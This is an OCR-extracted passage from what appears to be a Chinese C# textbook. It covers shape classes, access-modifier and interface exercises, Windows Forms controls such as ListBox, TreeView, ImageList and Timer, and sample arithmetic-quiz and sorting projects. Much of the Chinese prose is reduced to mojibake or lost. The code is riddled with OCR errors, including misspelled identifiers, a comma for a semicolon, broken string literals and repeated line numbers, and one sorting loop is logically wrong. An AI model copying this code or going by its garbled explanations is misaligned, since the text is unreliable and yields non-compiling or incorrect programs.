{ return "(" + point1.ToString() + ", " + point2.ToString() + ")"; }
}

Triangle Shape Triangle Shape
Point
Triangle Area ToString

class Triangle : Shape /1
{

private CColor color; private Point pointl, point2, point3; /

public CColor Color

{ get { return color; } set { color = value; } }
public Point Point1

{ get { return pointl; } set { pointl = value; } }
public Point Point2

{ get { return point2; } set { point2 = value; } }
public Point Point3

{ get { return point3; } set { point3 = value; } }
public Triangle() { }

public Triangle(Point p1, Point p2, Point p3)

{ pointl = p1; point2 = p2; point3 = p3; }

public void Draw()
{ Console.WriteLine(" ") }
public void Erase()
{ Console.WriteLine(" ")}
public void Move()

{ Console.WriteLine(" ")}
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public double Area() /l
{

double area = Math.Abs(pointl.X * point2.Y + point2.X * point3.Y + point3.X * pointl.Y -
pointl. X * point3.Y - point2.X * pointl.Y - point3.X * point2.Y) / 2.0;
return area;

}

public override String ToString()

{ return "("" + point1.ToString() + ", " + point2.ToString() + ", " + point3.ToString() + ",)}"; }

}
5 Quadrilateral Shape Quadrilateral Shape
Point
Quadrilateral Area
ToString Quadrilateral Shape
Draw Erase Move ToString
class Quadrilateral : Shape I
{
private CColor color;
private Point pointl, point2, point3, point4; /

public CColor Color

{ get { return color; } set { color = value; } }

public Point Point1

{ get { return pointl; } set { pointl = value; } }

public Point Point2

{ get { return point2; } set { point2 = value; } }

public Point Point3

{ get { return point3; } set { point3 = value; } }

public Point Point4

{ get { return point4; } set { point4 = value; } }

public Quadrilateral() { }

public Quadrilateral(Point p1, Point p2, Point p3, Point p4)

{ pointl = p1; point2 = p2; point3 = p3; point4 = p4; }

public virtual void Draw()

{ Console.WriteLine(" "); }

public virtual void Erase()

{ Console.WriteLine(" "); }

public virtual void Move()

{ Console.WriteLine(" "); }

public double Area() /!

{
double area = Math.Abs(pointl.X * point2.Y - point2.X * pointl.Y + point2.X * point3.Y -

point3.X * point2.Y + point3.X * point4.Y - point4.X * point3.Y + point4.X * pointl.Y - pointl.X * point4.Y) / 2.0;

return area,

}
public override String ToString()
{ return "(" + pointl.ToString() + ", " + point2.ToString() + ", " + point3.ToString() + ", " +
point4.ToString() +")"; }
}
6 Cirlce Shape Cirlce Shape

Point int
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Cirlce Area

class Circle : Shape /

{

private CColor color;

private Point point; //
private int radius; //

public CColor Color

{ get { return color; } set { color = value; } }
public Point Point

{ get { return point; } set { point = value; } }
public int Radius

{ get { return radius; } set { radius = value; } }
public Circle() { }

public Circle(Point p, int r)

{ point = p; radius =r; }

public void Draw()

{ Console.WriteLine(" "); }
public void Erase()

{ Console.WriteLine(" "); }
public void Move()

{ Console.WriteLine(" "); }
public double Area() //

{ return Math.PI * radius * radius; }

public override String ToString()

{ return "(" + point.ToString() + "," + radius + ")"; }

Square Quadrilateral

class Square : Quadrilateral I

{

public Square() { }

public Square(Point p1, Point p2, Point p3, Point p4) : base(p1, p2, p3, p4) { }

public override void Draw()
{ Console.WriteLine(" "); }
public override void Erase()
{ Console.WriteLine(" "); }
public override void Move()
{ Console.WriteLine(" "); }

Main

class Project8 1

{

static void Main()

{

ToString

3 8%

Draw Erase

Point p1 = new Point(1, 1); Point p2 = new Point (1, 2); Point p3 = new Point (2, 2); Point p4 = new

Point(2, 1);

Shape line = new Line(p1, p2); Shape triangle = new Triangle(p1, p2, p3);

Shape circle = new Circle(p1, 2); Shape square = new Square(pl, p2, p3, p4);

Console.WriteLine(" {0}", line); line.Draw();
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Console. WriteLine(" {0}", triangle);

triangle.Draw();

Console.WriteLine(" {0}", ((Triangle)triangle).Area());
Console.WriteLine(" {0}", circle); circle.Draw();
Console.WriteLine(" {0}", ((Circle)circle).Area());
Console.WriteLine(" {0}", square); square.Draw();

Console. WriteLine(" {0}", ((Square)square).Area());
line.Move();

circle.Erase();

8.4 BETISEBR

abstract sealed
new virtual
override C#

8.5 TIMS il StiE

>t

1 C#
2
3 Computer
Desktop Notebook
4
public class A
{
internal inti=0;
protected internal int j = 0;
protected internal static int k = 0;
5
class B:A
{
public void Method()
{
i=1 =2
k=3;

A a=new A();
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a.j=20;
B b =new B();
b.j = 20;
Ak =40;
B.k =400,
H
b

class Test

{

static void Main()

{
B b =new B();
b.i=11;
b.j=22;

class A
{
private int i;
A(int m)
{
i=m;
}

H
class B:A{}

3 Computer
3 Computer
[ Read()]

01. using System;

02. interface IMsg

03. { void Message();}

04. public class MyClass : IMsg

05. {

06. public void Message()

07. { Console.WriteLine("MyClass"); }
08. }

09. public class MyDerivedClass : MyClass, IMsg
10. {

11. public new void Message()

12. { Console.WriteLine("MyDerivedClass"); }
13. }

14. class Test

15. {

16. public static void Main()

17. {

Write()]
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18. MyDerivedClass d = new MyDerivedClass();
19. d.Message();
20. IMsg m = d as IMsg;
21. m.Message();
22. MyClass b = d as MyClass;
23. b.Message();
24. }
25. 1}
Fiseu

[LIEK]
a=6cm b=10cm a b 48

[ E]

1 Math

2 Math
[ZEAR]

1 double a b

2 double h area

3 b h Math

PI
4 b h
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BliZ&

NET

9.1.1

{ B R IR B gk B ER s fih

Microsoft Visual Studio 2005 -
“WindOWS Y (X3 Y (X3 R
D:\ch9 “ i ““project9””
project9 ““Form1~~

9-3
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““Visual C#”

9-2

9-1
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%% EHIK
NET
Visual Studio
Visual Studio 2005
Visual Studio 2005 9-1
#9-1 BEHRERNEM
1 Name Form1
2 Text Form1
3 WindowsState Normal
4 BackColor Control
5 BackgroundImage
6 Font 9pt
7 Size 300 300
Manaul—
CenterScreen——
WindowsDefaultLocation
8 StartPosition WindowsDefaultLocation
Size
WindowsDefaultBounds
CenterParent:
9 TopMost False

9.3 BERASH

1  FormClosed()
2 FormClosing()
3 Shown()

4  Load()

9.4 BIMKEAEAE

Show()
Hide()



2B 50 CHNITH#EH

Close()

0.5 InBEEti

B &R
mERNE: Windows
“ zz Button
B EHE:
1
2
3
4
IMBXE:
1 ques9 D:\ch9
Microsoft Visual Studio 2005 - 9-1
¥ 3 9 (X3 Y “Visual C#,‘)
“WindOWS 9 = & 9 ¥ 3 >
D:\ch9 “c i ““ques9””
2 Form
Forml1 Forml1 Button
Forml1 9-2
#* 9-2 Form1 WEMIRE
1 Form Text
2 Form FormBorderStyle FixedToolWindow
3 Button Text
3
Forml “ 7z private void buttonl Click(object sender,
EventArgs e)

this.Close();

4
FS (X3 9

F5
Form2

“ 7 Program.cs Main()



H9F EIK
Form1 Form?2 F5 Form?2
01 static void Main()
02 {
03 Application.EnableVisualStyles();
04 Application.SetCompatibleTextRenderingDefault(false);
05 Application.Run(new Form1());
06
l— E_
9.6 BYISIRM
C

9.7 ZIHES il StiE

Rk

1

2 Name

3

4
Fiflsese
B4
[ EK]
[ZEEE]

1

2

3

4
[ZLEAR]

Text

Form5

Windows

RTHAMm T E I RS

Forml
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10.1 Windows SillIB@EiZ 1T

Form

““Forml1” Windows
Microsoft Visual Studio 2005 C#

10.1.1  TE@IhP DR
Microsoft Visual Studio 2005 ““Forml~”
1 ¥ 7
““Forml~~
2 ““Forml~~?
Label 10-1

Foral EOX)

ahall
llabelz

10-1
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10.1.2 (kM

Label
Name  Text ““label1””““label2~”
1
2
Forml Form1 ““Forml.cs*””
private void Form1 Load(object sender,EventArgs e) {}
Labell Text ““QQ 7 Label2 Text ““QQ
01. private void Form1_Load(object sender, EventArgs e)
02. {
03. labell. Text="QQ "
04. label2. Text="QQ "
05. }
10.1.3 Wl SEER BT
1. F
NET
Button ListBox Click
Button
Click KeyPress
KeyDown 10-1

*10-1 ERBERES

MouseClick

MouseDown

MouseEnter

MouseLeave

MouseHover

MouseUp
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10-2
#z10-2 ERAMBEESEH
KeyDown
KeyPress
KeyUp
2. AIBEHIEF R AR
C#
Buttonl “
01. private void buttonl MouseHover(object sender,EventArgs )
02. {
03. MessageBox.Show(" ");
04. }
textBox1
01. private void textBox1 DragDrop(object sender, DragEventArgs ¢)
02. {
03. textBox1.Text = e.Data.GetData(DataFormats. Text). ToString();
04. }
button] MouseHover sender buttonl
€
private void B (object sender,EventArgse) //
{
5
e EventArgs  DragEventArgs

10.2 RHEXMEREEH

Label TextBox LinkLabel RichTextBox
10.2.1  hmESEF

Label
Label Label 10-3
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% 10-3 Label BRI ERBEM

1 Name Labell
2 Text Labell Label
3 AutoSize True Label
4 Enabled True
5 Visible True
10.2.2  XrhiEsEet
TextBox
TextBox 2048
TextBox TextBox 10-4
# 10-4 TextBox ZEHHIEARBM
1 Name TextBox1
2 Text TextBox1
3 Multiline False TextBox
TextBox
4 PasswordChar
5 Enabled True
6 Visible True
7 ReadOnly False
TextBox 10-5
£ 10-5 TextBox EH-EEFZE
1 Select()
2 Cut()
3 Copy()
4 Paste()
5 Undo()
G
10.3 FaeHREMH
Button
RadioButton CheckBox
10.3.1  ¥iEM
Button Button Click()
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Button Name Text Enabled Visible Click()
10.3.2 PR

RadioButton

RadioButton 10-6

% 10-6 RadioButton EABIE M

1 Text RadioButton1
2 Checked False False True
RadioButton CheckedChanged()

10.3.3 Lt

CheckBox
GroupBox Panel
RadioButton GroupBox  Panel
10-2 “c i “c i
RadioButton GroupBox Panel
10-3
— DExR
#E #5
T Fi
3 0%  Ox il BR e
EEE ©OR& OF EEE @l OF
10-2 10-3
GroupBox Panel
GroupBox Text
GroupBox  Panel
1 Panel BorderStyle
2 Panel AutoScroll True
3  Panel Text

10.4 HSIEIEH

C#
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10.4.1 izt SKityiil

ListBox
SelectionMode
One MultiSimple
MultiExtended
Shift Ctrl None
CheckedListBox
CheckedListBox
CheckedListBox
10-7
#* 10-7 ListBox #ZHHEREM
1 SelectedItem
0
2 SelectedIndex -1
Items
3
(Items.Count)
ListBox False
4 Sorted False
True
. One None MultiSimple
5 SelectionMode One MultiExtended
Items IZ]
10-8
% 10-8 ListBox {ZHRIE A&
1 Add()
2 Remove()
3 Clear()
4 Insert()
5 RemoveAt()
1 listBox 1 “ 7res i
listBox1.Items.Add(" ");
listBox1.Items.Add(" ");
2 listBox 1 €< i

listBox1.Items.Insert(1," "); 1l 0
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3 listBox1 cc 2>
listbox1.Items.Delete(" ");
4 listBox1 labell

labell.Text=listBox1.Items.Count.ToString();
SelectedIndexChanged()
10.4.2 RAGiEEPt

ComboBox
ComboBox SelectionMode
ComboBox 10-9
% 10-9 ComboBox =i A M
1 SelectedItem
0
2 SelectedIndex -1
3 Ttems ComboBox
4 Sorted False
DropDown(
5 DropDownStyle | DropDown | DropDownList Simple
ComboBox ListBox  CheckListBox 10-8

10.5 RENZKIEM

10.5.1 AKPRFEFSHARNFEMT

TextBox ListBox

HScrollBar
VScrollBar
10-10
% 10-10 HScrollBar & VScrollBar #Z{# & F B M
1 Minimum 0
2 Maximun 100
3 LargeChange 10 PageUp PageDown
4 SmallChange 1
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10.5.2 HHEREM

ProgressBar
ProgressBar
ProgressBar Style
1 Blocks
2 Continuous
3 Marquee
10-11
% 10-11 ProgressBar = -a = HE M
1 Style Blocks ProgressBar Blocks Continuous Marquee
2 Value 0 ProgressBar Minimum  Maximun
3 Minimum 0 ProgressBar
4 Maximum 100 ProgressBar

10.6  DUZEANEIIE kR0 0 B 1z 1k

10.6.1 JIEMEEMT
10-4 ListView

e #wEo ZFw S TEo ®2 8
B | B
My 09 Files i
[C)V¥isual Studie 2005 sy
(B R T
[ el
. . . (St fan
ListView ColumnHeader Listltem DEass T
#0808 @LEFHT CESH) . doe 168 KB Mier
[ RTITER I doc 21 BB Mier
ColumnHeader mprujectlﬂ’l_uk.rar 95 ¥B Wink
. H]sm doe 3,485 KB Micr
Listltem S EAARMNERAR s 15 B Mier
inwl‘:ﬂwnlﬁiimi-?—vk [F1l:2=Aah T S4f TP TR ORMWR
1. ColumnHeader &
. . 10-4
ColumnHeader ListView
ColumnHeader
1 ColumnClick
2
3 ColumnHeader
ColumnHeader Listltem
ColumnHeader

ListItem SubltemIndex 0
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Listltem Listltem
1 0
ListView SmalllmageList Listltem Imagelndex
ListView 10-12
“ i ColumnHeader ListView
Add() ListBox  Add()
ListView1l.ColumnHeader. Add(text,width,alignment)
2. ListViewltem =4
ListViewltem
Imagelndex ImageList ListViewltem
10-13
£ 10-12 ListView IHRIERBEM
) ListView ListItem Largelcon
! View Largelcon Smalllcon Title Detail List
2 Sorting None Listltem
3 SortKey Listltem
4 SmalllmageList
5 LmalllmageList
6 Items ListView
7 Columns “ 77
% 10-13 ListViewltem = EIE AE M
ListView
1 Subltems ListTtem
2 Imagelndex SmalllmageList
Listltem ListItem
ColumnHeaders  Add()
10-5
1 Forml ListView
. .
- EO% Views ““Details””
Fe B AB | BEEE 2 Columns [
: DSR40 fFEE
““ColumnHeader i
Text = £ 7?7 £ 77 £ £ 7% £ &£
10-5 7 (X3 7
3 Items [ ““ListViewltem
4 Subltems [ ““ListViewSubltem
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i ListViewSubltem Text ““05
1,"‘40,,“ a4 s & 7 10_6
5 F5
I - Px
List¥iewIten: {} Bl E)
+ B E
+ =kt ~
SubItems (Collection)

ERW: List¥iexSubItem: {0SUH{E1] B E):
L|List¥iewSubltem: {40} : Ql —
% |ListVienSubltem: HOI4) e THE
o #W
Facklolor [] Yindor
Fant 24, apt
Forelolor Bl TindowText
Hame List¥iewrSubItenl
- Text ositEL
< >
TE Hif
10-6
ListVies Clear() BeginUpdate() EndUpdate() GetltemAt()
columnClick() ItemActivate()
10.6.2 EREELE
TreeView Windows
1
2
3
4
TreeView 10-14
# 10-14 TreeView ##HHERABM
1 Nodes
2 SelectedNode —
TreeView TreeNode
TreeNode 10-15

% 10-15 TreeNode 2B E R EM

1 ValuePath —
2 Index —
3 Parent —

4 Nodes — TreeNode




B 2 CHNITH#EH

5 ImagelIndex
6 SelectedImagelndex
7 Tag
8 Text 0
TreeView TreeNode 10-16 10-17
#10-16 TreeView HHHERAFE
1 CollapseAll()
2 ExpandAll()
3 GetNodeCount()
# 10-17 TreeNode =4 RAFE
1 Collapse()
2 Expand()
3 ExpandAll()
5 Remove()
10.7 ERiEEHRIERIEZL
10.7.1 HERilErEet
PictureBox
10-18
% 10-18 PictureBox ZHFHIE B4
1 Image
) Normal
2 SizeMode Normal StretchImage AutoSize Centrellmage Zoom
PictureBox Move()  Refresh()
10.7.2  EIRGIEREM
ImageList ImageList
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PictureBox
ImageList Windows ListView ToolStrip  TabStrip
TreeView ImageList
ListView SmalllmageList  StateImageList ImageList
TreeView TabStrip  ToolStrip ImageList ImageList
ImageList 10-19

£ 10-19 ImagelList EHERABM

1 Images
2 ImagesSize 16 16
DepthdBit  Depth8Bit  Depth16Bit
3 ColorDepth Depth8Bit | ) h24Bit  Depth32Bit 4 8 16 24 3R
4 TransparentColor |  Transparent
““Images”” Add Images
Windows ImageList
ImageList ImageList
Images
ImageList Windows Index Key
Listlmage
TreeView Node Image ImageList
Listlmage
1 ImageListl  Index TreeView1.Nodes(3).Image=1
2 Key TreeViewl.Nodes(3).Image="image1" / Key
"imagel "
ImageList Windows
Windows ImageList
16x16 ImageList
ImageList TreeView Node ImageList
16x16
Picture ImageList
ImageList
10.8 TEFISEE!
Timer
Interval Tick

Timer
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Timer

Timer

CANTTHRG

10.9 INBEIELHE

1. MB—

B &R:

MERNE:
1

2 Label
3 Button
4

1 Project10-1

Interval
0 64 767ms 0 Timer
Start()  Stop()
Windows

| smmiaz: L fasad]

E B =
i . -
O _ e
i s
1sthdd 1stSub
B timerl
10-7

TextBox Button RadioButton CheckBox

Form_Load()

D:\ch10
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Microsoft Visual Studio 2005 -
D:\ch10\project10-1\ project10-1.sln

—

95

2o

cc /

2 Form
10-20
#10-20 “HAUBR” FERHREMHRE
1 Form Text Windows
Name btnStart
2 Button
Text
Name btnStop
3 Button
Text
Name btnClear
4 Button
Text
Name btnNext
5 Button
Text
6 TextBox Name txtNum1
7 TextBox Name txtNum2
8 TextBox Name txtAnswerAdd
9 TextBox Name txtNum3
10 TextBox Name txtNum4
11 TextBox Name txtAnswerSub
12 TextBox Name txtTimes
13 TextBox Name txtLeft
14 Timer Name timerl
15 ListBox Name IstAdd
16 ListBox Name IstSub
3
01. public partial class : Form
02. {
03. public 0
04. {
05. InitializeComponent();
06. } //
07. int count=1; //
08. */ 100 X 'y
*/
09. private void Gen num(ref int x,ref int y)
10. {
11. Random ra_seed = new Random(unchecked((int)DateTime.Now.Ticks));
12. x =ra_seed.Next(10,100); // 10~100
13. y =ra_seed.Next(100); // 100
14. return;
15. }
16. private void Add_Enable() //



CENITER G

53.
54.
55.
56.
57.
58.

59.

60.
61.
62.

63.
64.

65.

66.

67.
68.

txtNum1.Enabled = true;
txtNum2.Enabled = true;
IblEquAdd.Enabled = true;
txtAnswerAdd.Enabled = true;
IblAdd.Enabled = true;

}
private void Add_Unable() /

{
txtNuml.Enabled = false;
txtNum2.Enabled = false;
IblEquAdd.Enabled = false;
txtAnswerAdd.Enabled = false;
IblAdd.Enabled = false;

}
private void Sub_Enable() 1l

{
txtNum3.Enabled = true;
txtNum4.Enabled = true;
IbIEquSub.Enabled = true;
txtAnswerSub.Enabled = true;
IblSub.Enabled = true;

}
private void Sub_Unable() /!

{
txtNum3.Enabled = false;
txtNum4.Enabled = false;
IblEquSub.Enabled = false;
txtAnswerSub.Enabled = false;
IblSub.Enabled = false;

¥

private void _Load(object sender, EventArgs e)
{

txtTimes.Text = Convert. ToString( 5);

timerl.Interval = int.Parse(txtTimes.Text) * 1000; //

timerl.Enabled = false;

J% ce >s

btnStop.Enabled = false;

chkAdd.Checked = true; //

Add_Enable();

Sub_Unable();

Gen_Item();

}

private void Gen_Item()

int numl = 0, num2 = 0;
Gen_num(ref numl, ref num?2);
txtNum1.Text = numl.ToString();
txtNum2.Text = num2.ToString();
txtAnswerAdd. Text ="";
txtNum3.Text = num1.ToString();
txtNum4.Text = num2.ToString();
txtAnswerSub.Text ="";

*/

5s



69.
70.
71.
72.
73.
74.
75.
76.

77.
78.
79.
80.
81.

82.
83.
84.
85.

86.
87.
88.
89.
90.
91.
92.
93.
94.
95.
96.
97.
98.
99.

100.
101.
102.
103.
104.
105.
106.
107.

108.
109.
110.
111.
112.
113.

114.

/*

CO

% 10% 42t

unt++;

private void display_item()

{
string item;
if (chkAdd.Checked) / IstAdd
{
item = txtNuml.Text.ToString() + "+" + txtNum?2.Text.ToString() + "=" +
txtAnswerAdd.Text;
IstAdd.Items.Add(item);
¥
if (chkSub.Checked) / IstSub
{
item = txtNum3.Text.ToString() + "-" + txtNum4.Text.ToString() + "=" +
txtAnswerSub.Text;
IstSub.Enabled = false;
IstSub.Items.Add(item);
¥
¥
10 */
private void btnNext Click(object sender, EventArgs e)
{
if (count<=10)
{
txtLeft. Text = Convert. ToString(10-count);
display_item();
Gen_Item();
¥
else
btnNext.Enabled = false;
¥
private void btnStart Click(object sender, EventArgs e)
{
count=1;
btnNext.Enabled = false;
txtTimes.Enabled=false ;
btnStop.Enabled = true;
txtLeft. Text = Convert. ToString(0);
if (chkAdd.Checked && chkSub.Checked)
timerl.Interval = int.Parse(txtTimes.Text) * 1000*2;  //
else
timerl.Interval = int.Parse(txtTimes.Text) * 1000;
// txtTimes. Text
timerl.Enabled = true; /!
/I 5s 1s=1000ms Timer ms
btnStart.Enabled = false;
IstAdd.Items.Clear();
IstSub.Items.Clear();
¥
IstAdd

10 */
private void timerl Tick(object sender, EventArgs e)
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115. {
116. if (count<=10)
117. {
118. txtLeft. Text = Convert. ToString(10-count);
119. display_item();
120. Gen_Item();
121. }
122. }
/o i “e i
123. private void btnStop_Click(object sender, EventArgs e)
124. {
125. timer1.Enabled = false;
126. btnStart.Enabled = true;
127. }
e »>
128. private void btnClear_Click(object sender, EventArgs e)
129. {
130. IstAdd.Items.Clear();
131. IstSub.Items.Clear();
132. btnNext.Enabled = true;
133. count = 1;
134. txtLeft. Text = Convert.ToString(0);
135. Gen_Item();
136. }
/*
*1
137. private void chkSub_CheckedChanged(object sender, EventArgs ¢)
138. {
139. if (chkAdd.Checked == false && chkSub.Checked == false)
140. chkAdd.Checked=true;
141. if (chkSub.Checked)
142. Sub_Enable();
143. else
144. Sub_Unable();
145. }
146. private void chkAdd CheckedChanged(object sender, EventArgs e)
147. {
148. if (chkAdd.Checked == false && chkSub.Checked == false)
149. chkAdd.Checked = true;
150. if (chkAdd.Checked)
151. Add_Enable();
152. else
153. Add_Unable();
154. }
155.  }
4
F5 “
2. mBZ
IR #&FR: “ i

MENE: Windows
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3
4 (X3 9
5
mBEBR:
1 ListBox ComboBox CheckListBox
2
3
4
5
6
ME -
1 Project10-2 D:\ch10
Microsoft Visual Studio 2005 - - <
a4 (X3 Y “Viusal C#,’ £ c Y “WindOWs
77 D:\ch10 “ 7z project10-2
2 Form
10-21
#10-21 “HEREHEST FEEHEREHRE
1 form Text Windows
Name btnStart
2 Button
Text
Name btnStop
3 Button
Text
Name btnNext
4 Button
Text
Name btnClear
5 Button
Text
Name btnSort
6 Button
Text
Name rdAsc
7 RadioButton
Text
Name rdDesc
8 RadioButton
Text
6 TextBox Name txtNum
15 ListBox Name IstNum
16 CombolBox Name cmbSorted
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3
01.  public partial class Form1 : Form
02. {
03. public Form1()
04. {
05. InitializeComponent();
06. }
07. private void others unable()
08. {
09. btnClear.Enabled = false;
10. btnDelete.Enabled = false;
11. btnlnsert.Enabled = false;
12. btnSort.Enabled = false;
13. }
14. private void others_enable()
15. {
16. btnClear.Enabled = true;
17. btnDelete.Enabled = true;
18. btnlnsert.Enabled = true;
19. btnSort.Enabled = true;
20. }
21. private void Form1_Load(object sender, EventArgs e)
22. {
23. others_unable();
24, }
25. /* KeyPress() 0 9 BackSpace
Delete*/
26. private void txtNum_KeyPress(object sender, KeyPressEventArgs e)
27. {
28. if (e.KeyChar <'0' || e.KeyChar > '9")
29. {
30. IbIMessage.Text =" 0 9 delete";
31. e.Handled = true;
32. }
33. }
34. /== i
35. private void btnAppend_Click(object sender, EventArgs e)
36. {
37. if (txtNum.Text.Length == 0)
38. {
39. IblMessage.Text =" "
40. txtNum.Focus();
41. }
42. else
43. {
44. IstNums.Items. Add(txtNum.Text);
45. txtNum.Focus();
46. txtNum.Text="";
47. others_enable();
48. }
49. }
50. /e 7z

S1. private void btnClear_Click(object sender, EventArgs e)
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52. {

53. IstNums.Items.Clear();

54. cmbSorted.Items.Clear();

55. others_unable();

56. }

57. /o i

58. private void btnDelete Click(object sender, EventArgs e)
59. {

60. IstNums.Items.Remove(IstNums.SelectedItem);

61. if (IstNums.Items.Count == 0)

62. others_unable();

63. }

64. /o i

65. private void btnlnsert Click(object sender, EventArgs ¢)
66. {

67. if (txtNum.Text.Length == 0)

68. {

69. IbIMessage.Text =" "

70. txtNum.Focus();

71. }

72. else

73. {

74. IstNums.Items.Insert(IstNums.SelectedIndex, txtNum.Text);
75. txtNum.Text="";

76. txtNum.Focus();

77. }

78. }

79. /o i

80. private void btnSort_Click(object sender, EventArgs e)

81. {

82. cmbSorted.Items.Clear();

83. int len = IstNums.Items.Count;

84. object [] x = new object[len]; // object CopyTo()
85. IstNums.Items.CopyTo(x, 0); // X
86. int1, j;

87. if (rdAsc.Checked) //

88. {

89. for (i=0; i <=len -2; i++)

90. for (j =1; j <=len - 1; j++)

91. if (Convert.ToInt32(x[i])>Convert.Tolnt32(x[j]))
92. {

93. int temp = Convert. Tolnt32(x[i]);
94. x[i] = x[j];

95. x[j] = temp;

96. }

97. }

98. if (rdDesc.Checked) //

99. {

100. for (i=0; i <=len - 2; i++)

101. for (j =1; j <=len - 1; j++)

102. if (Convert.ToInt32(x[i])<Convert.ToInt32(x[j]))
102. {

103. int temp = Convert.Tolnt32(x[i]);
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104. x[i] = x[jl;
105. x[j] = temp;
106. }
107. }
108. cmbSorted.Items.AddRange(x);  // X
109. }
110. )
4
10-8
OLE s T A
O#E ©BE
HEFERRTEIE ¢
1
HEER A0~ T R delete
10-8 == >
3. mME=
Iﬁl' E g *ﬁ’\ . cc 3
mERA: Windows
10-9
\ I 1
Co@eEa TreeView
ER * EiL
@ s
B #teor-2
& st cc >3
e 2
3
10-9 == 7z cc >3 cc >3
4
InEBr:
1 TreeView ListImage
2 TreeView
3 TreeView
4
5
6
7
B LR
1 project10-3 D:\ch10



5 10% Rt 103 8o
Microsoft Visual Studio 2005 - - “c
R4 s & E R “Viusal C#,, ®= & a4 “Windows
i D:\ch10 “c 7z project10-3
2 Form
ImageList ““Images”” (o]
“ i 10-11 “c i ~\project10-3\images
SWHF = 3]
ARSI System. Draving Bi tnap FBHE )
k
2|l System Drawing Bitnap ]
3 System. Drawing Bitmap
4| Sy=tem Drawing. Bitmap Hame
i S|EE System Drawing Bitmap
6 |EE Svstem. Drawing Bitmap
F T System. Drawing Bitmap
i 8 |l System Drawing Bitmap
9|l System Drawing Bitmap
g
e ]
&
10-10 == >3 10-11 <= >3
Windows 10-22
#=10-22 “HWBAR” FEEHREMHEE
1 Form Text Windows
2 GroupBox Text
3 PictureBox ImageList
Name btnUp
4 Button
Text
Name btnDown
5 Button
Text
6 TtreeView
Name btnAddZY .
7 Button TextBox TreeView
Text
Name btnDelZY
8 Button
Text
Name btnAddBJ TextBox TreeView
9 Button
Text
Name btnDelBJ
10 Button
Text
11 TextBox Name txtAdd
3
01. //
02. public partial class : Form

03. |
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04.
05.
06.
07.
08.

09.
10.
11.
12.
13.
14.
15.
16.
17.
18.

19.
20.
21

22.
23.
24,
25.
26.
27.
28.
29.
30

31.
32.
33.
34,
35.
36.
37.
38.
39.
40.
41,
42.
43,
44,
45,
46.
47,
48,
49,
50.
51.
52.
53.
54.

CENITER G

public 0
{
InitializeComponent();
¥
/¥ i ImageList
TreeView */

private inti=0, k;
private TreeNode selenode;
// Form
private void _Load(object sender, EventArgs ¢)
{
btnDelZY .Enabled = false;
btnAddBJ.Enabled = false;
btnDelBJ.Enabled = false;
btnUP.Enabled = false;
/*  PictureBox ImageList i

if (imageListl.Images.Count == 0)

{
btnDown.Enabled = false;
}
else
{
pictureBox1.Image = imageList1.Images[i];
}
txtAdd.Focus();
H
/<€ i

private void button2_Click(object sender, EventArgs e)

{

if (i < imageList]l.Images.Count - 1)

{

i+

s

pictureBox1.Image = imageList1.Images[i];

}

else

{

btnDown.Enabled = false;

}
btnUP.Enabled = true;
}
/e i
private void buttonl Click(object sender, EventArgs e)
{
if i>0)
{
i--;
pictureBox1.Image = imageListl.Images[i];
§

else

{
btnUP.Enabled = false;

}

ImageList

*/



105 gt 105 8o

55. btnDown.Enabled = true;

56. }

57. /<« 7z

58. private void btnAddZY _Click(object sender, EventArgs e)

59. {

60. TreeNode node;

61. node = new TreeNode();

62. if (txtAdd.Text !="")

62. {

63. tvZY .ImageList = imageList1;

64. tvZY Nodes.Add("zy" + i, txtAdd.Text, i, i);

65.

66. txtAdd. Text="";

67. txtAdd.Focus();

68. }

69. }

70. /<= i

71. private void btnDelZY _Click(object sender, EventArgs ¢)

72. {

73. tvZY .Nodes.Remove(selenode);

74. if (tvZY .Nodes.Count == 0)

75. {

76. btnAddBJ.Enabled = false;

77. btnDelBJ.Enabled = false;

78. btnDelZY .Enabled = false;

79. }

80. }

81. /l “« 7z

82. private void txtAdd_TextChanged(object sender, EventArgs e)

83. {

84. btnAddZY .Enabled = true;

85. }

86. /<= i

87. private void btnAddBJ_Click(object sender, EventArgs ¢)

88. {

89. if (tvZY.SelectedNode.Parent == null)

90. {

91. tvZY Nodes[tvZY .SelectedNode.Index].Nodes. Add(txtAdd. Text, txtAdd.Text, k, k);.

92

93. }

94. else if (tvZY.SelectedNode.Parent != null)

95. tvZY Nodes[tvZY .SelectedNode.Parent.Index].Nodes.Add(txtAdd. Text, txtAdd.
Text, k, k);

96. }

97. txtAdd. Text ="";

98. txtAdd.Focus();

99. }

100. /o i

101. private void btnDelBJ_Click(object sender, EventArgs e)

102. {

102. tvZY .Nodes.Remove(selenode);

103. }
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104. private void tvZY_ NodeMouseClick(object sender, TreeNodeMouseClickEventArgs ¢)
105. { selenode = e.Node;
106. k = selenode.SelectedImagelndex; //
107. if (selenode.Parent == null)
108. {
109. btnDelZY.Enabled = true;
110. btnAddBJ.Enabled = true;
111. btnAddZY .Enabled = false;
112. btnDelBJ.Enabled = false;
Lk ER A= 113. }
BT S S 114 else
’
L] 115. {
— T 116. btnDelBJ.Enabled = true;
R L | 117. btnAddBJ.Enabled = true;
- i 118. btnAddZY .Enabled = false;
IS A 119. btnDelZY .Enabled = false;
- ptll 120. )
& e 121. }
122. }
4
1012 - 10-12

10.10 ETISIER

Windows

10.11  F1E5S EMscE

Rk
1 projectl10-3 Convert.ToInt32()  int.Parse()
2 project10-3 ListBox CheckListBox

ListBox  ComboBox
Form RadioButton
Form CheckBox

ListView  TreeView

O 00 N N L B~ W
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Fifsese
[3¢h 1] R e Thimskliia S5 0 wBiRsE
[SL36EEK]

Windows

1 cc EE] cc >3 cc EE]

(O, I N VS I \S)

(23R H]

Label TextBox Button RadioButton CheckBox
Button

Form_Load()

W2 B 1ThEN AGRNWARS
WEX] Windows

5
(

2 ListBox CheckedListBox ComboBox
3 = & >

[SRieEAY]
1 ListBox CheckedListBox ComboBox

2
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ListBox CheckedListBox ComboBox

ListBox CheckedListBox ComboBox

Add() Remove() Insert() Clear()
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B ¥ 32 FontDialog. ColorDialog. PrintDialog. PrintDocument 4= #91% F 7 i%;
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1.1 H

Windows
Visual Studio 2005
Office Visual Studio 2005

strip MenuStrip ToolStrip  StatusStrip  ContextMenuStrip

11.1.1 RBESRERBERT

MenuStrip ContextMenuStrip
ContextMenuStrip ContextMenuStrip
MenuStrip Windows
1. BIEsEs
MenuStrip 11-1

ContextMenuStrip Windows MenusStrip

ContextMenuStrip

11-1 “ i
“c ToolStripMenultem 72
ToolStripMenultem ToolStripDropDown

ToolStripSeparator ToolStripDropDown
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CANTTHRG

ToolStripSeparator
&
Alt+ &
“e-zz Enter
ToolStripMenultem ToolStripSeparator
ToolStripMenultem
MenuStrip 11-2
Forml
